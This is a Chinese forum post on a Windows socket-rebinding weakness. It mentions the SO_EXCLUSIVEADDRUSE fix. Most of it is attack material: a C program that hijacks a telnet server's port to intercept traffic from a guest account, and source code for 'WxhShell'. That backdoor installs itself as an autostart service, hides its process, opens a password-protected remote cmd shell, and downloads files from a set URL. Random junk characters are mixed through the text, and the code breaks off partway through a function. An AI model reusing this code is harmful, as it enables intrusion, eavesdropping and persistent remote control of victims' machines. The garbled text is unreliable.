在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]K+8f- s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7q:;3;"9 >}/T&S saddr.sin_family = AF_INET;
?BbEQr GP x+]Jw8\ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C`uL
4r >|0I\{C bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'$VP\Gj. [+
: zlA 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t.
HwX9 HdyE`FY \ 这意味着什么?意味着可以进行如下的攻击:
]bbP_n8 3NdO3-~) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$oJjgA xcZ }S4+1
U3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
%L$?Mey 8w#4T:hsuN 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
7#N
?{3i ~+,ZD)AKi4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
jAovzZ6BL `)kxFD_bH 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:2+z_+k}< 3#aLCpVla 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^5)=)xVF {E}D6`{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~fs}
J #ApmJLeCO #include
4;(W0RQa #include
CtUAbR #include
9?^0pR p #include
]AZCf`7/? DWORD WINAPI ClientThread(LPVOID lpParam);
~jzT;9: int main()
.yHK {
FbH@qHSH WORD wVersionRequested;
[q/eRIS_ DWORD ret;
Q(R-8" WSADATA wsaData;
?X\uzu BOOL val;
m|;gl|dTB SOCKADDR_IN saddr;
m8eoD{ SOCKADDR_IN scaddr;
;iQw2XhT int err;
y-S23B( SOCKET s;
/XNC^!z6Js SOCKET sc;
-S&d5(R int caddsize;
>>M7#hmt HANDLE mt;
,s6lB0 DWORD tid;
-al wVersionRequested = MAKEWORD( 2, 2 );
69t6lB#;! err = WSAStartup( wVersionRequested, &wsaData );
yr* ~?\ if ( err != 0 ) {
-FrK'!\ printf("error!WSAStartup failed!\n");
f3s4aARP return -1;
jaIcIc=Pf }
|QQ(1#d saddr.sin_family = AF_INET;
rl2(DA{ V2:S
9vO' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
I|2dV9y :G=ol2Q saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Q=Q&\.< saddr.sin_port = htons(23);
-Vs;4-B{9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=>&~p\Aw {
QyrB"_dm printf("error!socket failed!\n");
A+}O~,mxP8 return -1;
o#D'"Tn! }
l\2"u M#7 val = TRUE;
+i}uRO //SO_REUSEADDR选项就是可以实现端口重绑定的
MlLM
$Y-@ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,Ww.W'#P {
7#*`7 K'P! printf("error!setsockopt failed!\n");
Fh&USn" return -1;
p _2Y c]8 }
6KE64: \; //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{IF$\{Al //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QHsJo|. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#miG"2ea.. <p?oFD_e4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8|u8J0^ {
MM&qLAa"f ret=GetLastError();
M+)ENve printf("error!bind failed!\n");
'b6qEU# return -1;
[<}W S}
. }
zFY$^Oz"_ listen(s,2);
+x?8\
while(1)
qWXw*d1] {
^`RMf5i1m caddsize = sizeof(scaddr);
=tX"aCW~ //接受连接请求
0Ag2zx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
}0>\%C if(sc!=INVALID_SOCKET)
vq\L9$WJ {
?5EMDawt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qZlL6 if(mt==NULL)
L"uidd0(g {
A6xN6{R! printf("Thread Creat Failed!\n");
tItI^]w2s break;
B"`86qc }
@HY P_hR }
kkOjAp{<t CloseHandle(mt);
MRHRa }
n<eK\w closesocket(s);
6I|9@~!y[ WSACleanup();
cet|k! return 0;
d_&~^*> }
<d[GGkY]= DWORD WINAPI ClientThread(LPVOID lpParam)
M=1~BZQ(Z {
E};1
H SOCKET ss = (SOCKET)lpParam;
l{\k\Q !4 SOCKET sc;
<!*O[0s unsigned char buf[4096];
@mcP- SOCKADDR_IN saddr;
Shss};QZf( long num;
?}S~cgL - DWORD val;
ZfS" DWORD ret;
dO9bxHMnM //如果是隐藏端口应用的话,可以在此处加一些判断
~F;>4q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sD6vHX% saddr.sin_family = AF_INET;
}kJ9<h, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
#9A*B bY saddr.sin_port = htons(23);
Qe]& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,fhwDqR
? {
yATXN>]l printf("error!socket failed!\n");
~!e(e2 return -1;
=7S\-{ }
;9)=~) val = 100;
_z#S8Y if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"msPH<D {
w-Q=oEt ret = GetLastError();
R78P](1\> return -1;
mE9ytFH\k }
~`0=-Qkd if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
dAaxbP| {
uK[gI6M ret = GetLastError();
2W/*1K} return -1;
l5U ^lc }
l 1BAW$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
qIO)<5\[%d {
R?:(~ X\ printf("error!socket connect failed!\n");
99[v/L>F closesocket(sc);
ei[, ug' closesocket(ss);
=[)2DJC return -1;
<}%gZ:Z6g }
{y<E_y
x1 while(1)
kvt^s0T8Q {
)<T2J0* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~S0T+4$ //如果是嗅探内容的话,可以再此处进行内容分析和记录
l i%8X. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\'B%lXh num = recv(ss,buf,4096,0);
kP&Ekjt@ if(num>0)
Ft @ZK!'@ send(sc,buf,num,0);
1R#1Fy% else if(num==0)
wy""02j break;
O5JG!bGE_F num = recv(sc,buf,4096,0);
p0pA| if(num>0)
v5L#H=P send(ss,buf,num,0);
CSr2\ogT else if(num==0)
y*lAmO break;
9hhYyqGsO }
Oz=!EG|N closesocket(ss);
I$f'BAw closesocket(sc);
.Txwp?}; return 0 ;
X-SR0x }
"gXvnl #aadnbf *#B"%;Ln ==========================================================
2K2*UC`f s~I#K[[5 下边附上一个代码,,WXhSHELL
+4k4z:<n ?T>N vKF ==========================================================
s)9sbJ T>v`UN Bl] #include "stdafx.h"
}vW3<|z (y2P." #include <stdio.h>
mXUe/*r0T #include <string.h>
&G7@lz@sK+ #include <windows.h>
lH>6;sE #include <winsock2.h>
9YwS"~Q =w #include <winsvc.h>
=jvN8R*[ #include <urlmon.h>
q94*2@KV 2VkA!o4nP #pragma comment (lib, "Ws2_32.lib")
K$-|7tJon #pragma comment (lib, "urlmon.lib")
LhKUZX,P8 B_0]$D0
^ #define MAX_USER 100 // 最大客户端连接数
<-!'V,c #define BUF_SOCK 200 // sock buffer
)umW-A #define KEY_BUFF 255 // 输入 buffer
h6e,w$IL
:a M@"#F #define REBOOT 0 // 重启
0Pg@%>yb~ #define SHUTDOWN 1 // 关机
V`LW~P;
m8&XW2S #define DEF_PORT 5000 // 监听端口
R-\"^BV#Z SXmh@a"*\ #define REG_LEN 16 // 注册表键长度
K(}<L-cv #define SVC_LEN 80 // NT服务名长度
.u;'eVH)a} ^I!gteU; // 从dll定义API
t\lx*_lr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
/gE9 W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
w1t0X{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!)uXCg9U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[Ny'vAHOj pEiq;2{~Yn // wxhshell配置信息
5K|s]Y; struct WSCFG {
`,6^eLU int ws_port; // 监听端口
)h;zH,DA[3 char ws_passstr[REG_LEN]; // 口令
+9_E+H'?! int ws_autoins; // 安装标记, 1=yes 0=no
}-paGM@'Nd char ws_regname[REG_LEN]; // 注册表键名
fq0[7Yb char ws_svcname[REG_LEN]; // 服务名
13I~
char ws_svcdisp[SVC_LEN]; // 服务显示名
lziC.Dpa char ws_svcdesc[SVC_LEN]; // 服务描述信息
Mm#=d?YUHJ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
.%mjE' int ws_downexe; // 下载执行标记, 1=yes 0=no
i-&"1D[& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*q(HW char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|r53>,oR<: 6
ZVD<C :\ };
|(R[5q )auuk< // default Wxhshell configuration
f8L3+u struct WSCFG wscfg={DEF_PORT,
Bh!J&SM: "xuhuanlingzhe",
^r~R]stE^ 1,
9;EY3[N "Wxhshell",
SwmX_F#_ "Wxhshell",
K#plSD^f= "WxhShell Service",
+,bgOq\aG "Wrsky Windows CmdShell Service",
5>M@
F0 "Please Input Your Password: ",
< nyk:E 1,
OY(znVHU "
http://www.wrsky.com/wxhshell.exe",
] Oe[;<I "Wxhshell.exe"
m{0u+obi&w };
"yxBD
7 e
irRAU // 消息定义模块
c# WIB 4 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
)hK1W\5 char *msg_ws_prompt="\n\r? for help\n\r#>";
s B!2't char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
?[
vC?P
char *msg_ws_ext="\n\rExit.";
w3peG^4D_ char *msg_ws_end="\n\rQuit.";
ij1g2^],4 char *msg_ws_boot="\n\rReboot...";
|}K7Q char *msg_ws_poff="\n\rShutdown...";
TWTRMc;z+ char *msg_ws_down="\n\rSave to ";
R$VeD1n@ }F
(lffb char *msg_ws_err="\n\rErr!";
y1hJVYE2 char *msg_ws_ok="\n\rOK!";
.(zZTyZr 7)au#K6 char ExeFile[MAX_PATH];
'#x<Fo~hT int nUser = 0;
Q$DF3[NC HANDLE handles[MAX_USER];
k3t2{=&'&x int OsIsNt;
c9;oB|8| gc{5/U9H* SERVICE_STATUS serviceStatus;
DX#F]8bWl SERVICE_STATUS_HANDLE hServiceStatusHandle;
`z3"zso BcD%`vGJ // 函数声明
*g/@-6 int Install(void);
2E}^'o int Uninstall(void);
=;HmU.Uek% int DownloadFile(char *sURL, SOCKET wsh);
@5(HRd int Boot(int flag);
`pd1'5Hm void HideProc(void);
6 0Obek` int GetOsVer(void);
NbW5a3= int Wxhshell(SOCKET wsl);
<(-4?"1 void TalkWithClient(void *cs);
9
!qVYU42( int CmdShell(SOCKET sock);
a fhZM$ int StartFromService(void);
MBH/,Yd int StartWxhshell(LPSTR lpCmdLine);
ecy41y'~: y2Z1B2E%f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
vR"<:r47? VOID WINAPI NTServiceHandler( DWORD fdwControl );
hTbot^/ q CB9z // 数据结构和表定义
mPo] .z SERVICE_TABLE_ENTRY DispatchTable[] =
_a=f.I {
g ed k {wscfg.ws_svcname, NTServiceMain},
%epK-q9[ {NULL, NULL}
ZI#Xh5 };
$U/_8^6B0 !#8=tO // 自我安装
},LW@Z} int Install(void)
K1>(Fs$ {
k|T0Bly3P char svExeFile[MAX_PATH];
kXbdR HKEY key;
abM4G strcpy(svExeFile,ExeFile);
Y_<(~eN` )z?Kq0 // 如果是win9x系统,修改注册表设为自启动
\M`fkR,,' if(!OsIsNt) {
@3b|jJyf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
>qI|g={M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C\dlQQ RegCloseKey(key);
F
/:2+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BV
HO_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
c F(]`49( RegCloseKey(key);
JP<Z3
A2q return 0;
~0>{PD$@ }
<=,KP) }
>h
m<$3 }
(&u)FB* else {
%U)M?UNjw i@ avm7 // 如果是NT以上系统,安装为系统服务
L~FE;*>7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8h2! 8' if (schSCManager!=0)
I:aG(8Bi)H {
wfrWpz=FO SC_HANDLE schService = CreateService
?RD)a`y51 (
)(pJ~"'L schSCManager,
%C[ ;& wscfg.ws_svcname,
&j7l#Urq wscfg.ws_svcdisp,
Kv:ih=? SERVICE_ALL_ACCESS,
Zb7:qe<UN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
aJ Du_ SERVICE_AUTO_START,
RFu]vFff SERVICE_ERROR_NORMAL,
c!%:f^7g svExeFile,
BDg6ZI<n NULL,
o*u A+7n NULL,
[]M+(8Z_P NULL,
uv[e0,@ NULL,
n[/|M NULL
%j=,c{`Q );
s"|N-A=cS if (schService!=0)
7M1*SC {
T<0Bq"'% CloseServiceHandle(schService);
:q4Mnr CloseServiceHandle(schSCManager);
;G3{ e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
i4"xvLK4 strcat(svExeFile,wscfg.ws_svcname);
FBPT@`~v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
| JL47FR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]eq3cwR[| RegCloseKey(key);
-~h2^Oez return 0;
.j4IW3) }
5aTyM_x }
7c6-S@L CloseServiceHandle(schSCManager);
}r/L 9 }
QE5
85s5
}
2'J.$ h3 pz^"~0o5 return 1;
mHox }
2Xgw7`
!L D] 2+<;>`> // 自我卸载
+*
)Qi) int Uninstall(void)
Q_#X*I {
3P p*ID HKEY key;
1W
HR;!u ? F fw'O if(!OsIsNt) {
H2RNekck if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\o@b5z]e RegDeleteValue(key,wscfg.ws_regname);
9ffRY,1@ RegCloseKey(key);
nx,67u/Pb if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
^\mN<z( RegDeleteValue(key,wscfg.ws_regname);
>|7&hj$ RegCloseKey(key);
zT~ GBC-IX return 0;
1)NX;CN }
Pwz^{*u] }
VPg`vI$(X }
mI in'M else {
9&'Mb[C`"
ld[]f*RuW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
yZFvpw|g if (schSCManager!=0)
mXF
pGo5 s {
;wprHXjq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\{+7`4g if (schService!=0)
S,S_BB<Y[b {
g)&-S3\ if(DeleteService(schService)!=0) {
Yjk A^e CloseServiceHandle(schService);
ZLKS4 CloseServiceHandle(schSCManager);
L +. K}w return 0;
+I\bs.84 }
AD?^.< CloseServiceHandle(schService);
uNhAfZ }
(DKpJCx CloseServiceHandle(schSCManager);
~w[zX4@ }
Gh|1%g"gm }
A7_*zR@ >Q5E0 !] return 1;
bJB:]vs$ }
cB<0~& N}FG%a // 从指定url下载文件
nNilTJ
int DownloadFile(char *sURL, SOCKET wsh)
$9QVl {
<JH0 & HRESULT hr;
<O\z`aA'q char seps[]= "/";
aeBth{ char *token;
,}FYY66K char *file;
J?%D4AeS]v char myURL[MAX_PATH];
={L:q8v) char myFILE[MAX_PATH];
\HK#d1>ox )If[pw@j strcpy(myURL,sURL);
ax>c&%vo token=strtok(myURL,seps);
(vj2XiO^+ while(token!=NULL)
zLh ~x {
rX{|]M":T file=token;
*.nqQhW token=strtok(NULL,seps);
^*{xTB57 }
@#Xzk?+ =$`DBLX GetCurrentDirectory(MAX_PATH,myFILE);
&aF_y_f\ strcat(myFILE, "\\");
H8-,gV strcat(myFILE, file);
?ST}0F00} send(wsh,myFILE,strlen(myFILE),0);
[#R%jLEJ2 send(wsh,"...",3,0);
:sPku<1is hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
8v]{ 5 if(hr==S_OK)
TyBNRnkt return 0;
\
I?;% else
x(=kh%\; return 1;
ap6Vmp fnmZJJ,Q }
WX\%FJ )Y
*?VqZn // 系统电源模块
*V"cu int Boot(int flag)
s~]nsqLt9p {
l
E&hw HANDLE hToken;
s*8hN*A/, TOKEN_PRIVILEGES tkp;
D 1hKjB& 'Yd%Tb|* if(OsIsNt) {
`jZX(H OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MZd\.]G@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*UyV@ tkp.PrivilegeCount = 1;
TM^1{0;r5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
=AKW(v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
^g[])2", if(flag==REBOOT) {
,^<+5TYM7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
f$Ap\(. return 0;
Txfb-f!mv\ }
(bo bKr else {
1I@4xC
#X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Qs?+vk?*h return 0;
_$bx4a }
Z?X$8o^Z }
)>Lsj1qk else {
{!/y@/NK2 if(flag==REBOOT) {
V.-?aXQ * if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
pJv? return 0;
C`jP8"- }
i
Lm1l else {
]Z84w!z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
}DM2#E`_ return 0;
=:g^_Hy }
9nG] .@H }
$>h#|?*? %&]}P;& return 1;
R_1C+ }
| 5L1\O8# t~a$|(
9 // win9x进程隐藏模块
.y0](
h void HideProc(void)
%zelpBu+ {
fgp7 |;Y ,m"ztu- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
I+CQ,Zuf if ( hKernel != NULL )
XeB>V.<y {
A5`7o9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<eh(~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xXx`a\i FreeLibrary(hKernel);
h#n8mtt&i }
jo(Q`oxm!> C5WCRg5& return;
{fb~`=? }
j0%0yb{-^ \G= E%aK // 获取操作系统版本
dI 5sqM: int GetOsVer(void)
/-hF<oNQ {
hZ'oCRM OSVERSIONINFO winfo;
QlS5B.h, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Vd/S81/ GetVersionEx(&winfo);
6_y|4!,:W if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
3'"M31iA return 1;
op|mRJBq; else
y[zA[H: return 0;
{4QOUqA u }
<{U{pCT% Fm;)7.%
> // 客户端句柄模块
?V{k\1A int Wxhshell(SOCKET wsl)
kdUGmR0d {
hKTg~y^ SOCKET wsh;
> 4ct[fW+ struct sockaddr_in client;
`JE>GZY DWORD myID;
Me}TW!GC eTF8B<? while(nUser<MAX_USER)
PD}R7[".> {
_RW[]MN3* int nSize=sizeof(client);
psZeu*/r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
bF KPV%` if(wsh==INVALID_SOCKET) return 1;
{\aSEE/' @|GeR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jSFN/C.9h if(handles[nUser]==0)
)T64(_TE closesocket(wsh);
{IMzR'PN else
0lRH
Yu nUser++;
Z8&C-yCC }
sv;zvEn;-L WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[Kj:~~`T 0v@/I< return 0;
AIm$in`P }
F3Y>hs):7 &
.?HuK // 关闭 socket
]hj1.V+ void CloseIt(SOCKET wsh)
@:7gHRJ! {
<nvWC/LU closesocket(wsh);
}x.)gW nUser--;
aVP|:OAj ExitThread(0);
>jX
UO }
Hk]BC 3\KII9 // 客户端请求句柄
<c ovApx void TalkWithClient(void *cs)
UPKi/)C; {
Y(y9l{' W"kw>JEt SOCKET wsh=(SOCKET)cs;
VM]IL%AN char pwd[SVC_LEN];
&{ {DS char cmd[KEY_BUFF];
cY2-T#rL char chr[1];
N}Ks[2 int i,j;
}iSakq' |"yf@^kdC while (nUser < MAX_USER) {
S/-7Zo&w+ 8sIrG if(wscfg.ws_passstr) {
B"PHJj if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
y"\,%. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'Y[A'.*}4 //ZeroMemory(pwd,KEY_BUFF);
p??/r i=0;
O|Ic[XfLx while(i<SVC_LEN) {
C|f7L>qe "rGOw'!q> // 设置超时
y<`?@(0$ fd_set FdRead;
<M,H9^l3 struct timeval TimeOut;
r.W,-%=bL FD_ZERO(&FdRead);
rh`.$/^ FD_SET(wsh,&FdRead);
Yg)V*%0n TimeOut.tv_sec=8;
M%{?\)s TimeOut.tv_usec=0;
h_~|O[5|) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R*@[Pg* if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
jBv$^L 2 1~7{# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b%;59^4AjD pwd
=chr[0]; JYd7@Msfc
if(chr[0]==0xd || chr[0]==0xa) { b;L>%;
pwd=0; v1r_Z($
break; )_v\{N
} )@qup _M@
i++; *e<Eu>fW#&
} fcICFReyV
W3/ 7BW`
// 如果是非法用户,关闭 socket
^ MT9n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ChTXvkdH
} ,iVPcza
]&:b<]K3
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kV ,G,wo
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h1XMx'}B
(.1 rtj
while(1) { Q)S>VDLA
,k~j6Z
ZeroMemory(cmd,KEY_BUFF); um jhG6
y|.fR>5
// 自动支持客户端 telnet标准 v'@b. R,
j=0; *sw-eyn(
while(j<KEY_BUFF) { (
f,J_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MdH97L)L.0
cmd[j]=chr[0]; ]iDJ*!I
if(chr[0]==0xa || chr[0]==0xd) { uyNJN
cmd[j]=0; D;zWksq
break; 5!AV!A_Jp
} d;~ 3P
j++; =dM.7$6) R
} m1-\qt-yy
-+}5ma
// 下载文件 T;!ukGoFP
if(strstr(cmd,"http://")) { \E@s_fQ]
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7':f_]
if(DownloadFile(cmd,wsh)) h}|6VJ@.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1s`)yu^`v
else 8lOI\-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w,Z"W;|
} 6<Z*Tvk{C
else { PXosFz~
k(EMp1[:nN
switch(cmd[0]) { \&iil =H8!
2vc\=
// 帮助 j
u*fyt
case '?': { A)hhnb0o
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !7*(!as
break; efjO8J[uk-
} .Z=Ce!
// 安装 8geek$FY x
case 'i': { YOV :
if(Install()) %X4-a%512
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dk_,YU'z
else $;Vc@mYGW;
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3Hz"Qs;
break; Sty!atEWT
} dTN$y\
// 卸载 *bA+]&dj\
case 'r': { u#+RUtM
if(Uninstall()) 9g
Bjxqm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3;a
R\:p@w
else Xsd$*F@<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \+k, :8s/
break; ^/>Wr'w
} l"J*)P
// 显示 wxhshell 所在路径 6F`qi:a+
case 'p': { #JA}LA"l
char svExeFile[MAX_PATH]; 5"JU?e59M
strcpy(svExeFile,"\n\r"); F7{R~mS;
strcat(svExeFile,ExeFile); [ -ISR7D
send(wsh,svExeFile,strlen(svExeFile),0); |2)Sd[q
break; dEASvD'
} lC#RNjDp/~
// 重启 TDlZ!$g(
case 'b': { e?V,fzg
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~G>jw"r
if(Boot(REBOOT)) TbLe6x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o+<29o
else { &%^K,Q"
closesocket(wsh); 6eQsoKK
ExitThread(0); \M5P+Wk'
} Lt1U+o[ot
break; Y@Y`gF6F
} Ic'Q5kfM
// 关机 R]u
(l+`
case 'd': { XHxz @_rw
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 90~*dNk
if(Boot(SHUTDOWN)) -~
0] 7Cpl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?g2zmI!U
else { {odA[H
closesocket(wsh); 0
y<k][
ExitThread(0); .f>,6?
} Dg~
[#C-
break; S5N@\ x
} Is13:
// 获取shell nv"G;W
case 's': { p8=|5.
CmdShell(wsh); Qyz>ZPu}sz
closesocket(wsh); {XtoiI
ExitThread(0); ~r<p@k=.#0
break; q7,^E`5EgU
} <_9!
// 退出 s~^*+kq
case 'x': { td >,TW=A*
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :zlpfm2
CloseIt(wsh); Ah-8"`E
break; xf/m!b"p
} Fn!SGX~kx$
// 离开 Z,WubX<
case 'q': { %e{(twp
send(wsh,msg_ws_end,strlen(msg_ws_end),0); f=o4I2Y[
closesocket(wsh); <Nex8fiJ9
WSACleanup(); nq'M?c#E
exit(1); R:A'&;S
break; I!0JG`&
} HA!t$[_Ve
} 0Uw
^FcW
} xP{-19s1]
!hCS#'
// 提示信息 UfR~%p>K
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %[`a
} MiJ6 n[iv
} K\P!a@>1
~:[!Uyp0b
return; ^av6HFQ
} :a.0hes
$n-Af0tK
// shell模块句柄 @9 )}cg
int CmdShell(SOCKET sock) mb\h^cKaq
{ txq~+'A:+
STARTUPINFO si; G2]^F Y
ZeroMemory(&si,sizeof(si)); /s|{by`we4
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3OP.12^
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p0M=t-
PROCESS_INFORMATION ProcessInfo; o.Oq__ >$H
char cmdline[]="cmd"; Nb;H`<JP
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3]/.\(2
return 0; +TN^NE
} ~c*
UAowS
bLbR IY"l
// 自身启动模式 6tn+m54_
int StartFromService(void) sTkkM9
{ vXdZmYrC
typedef struct X|b2c+I
{ Oz{%k#X-
DWORD ExitStatus; Qz+sT6js-
DWORD PebBaseAddress; NZk&JND
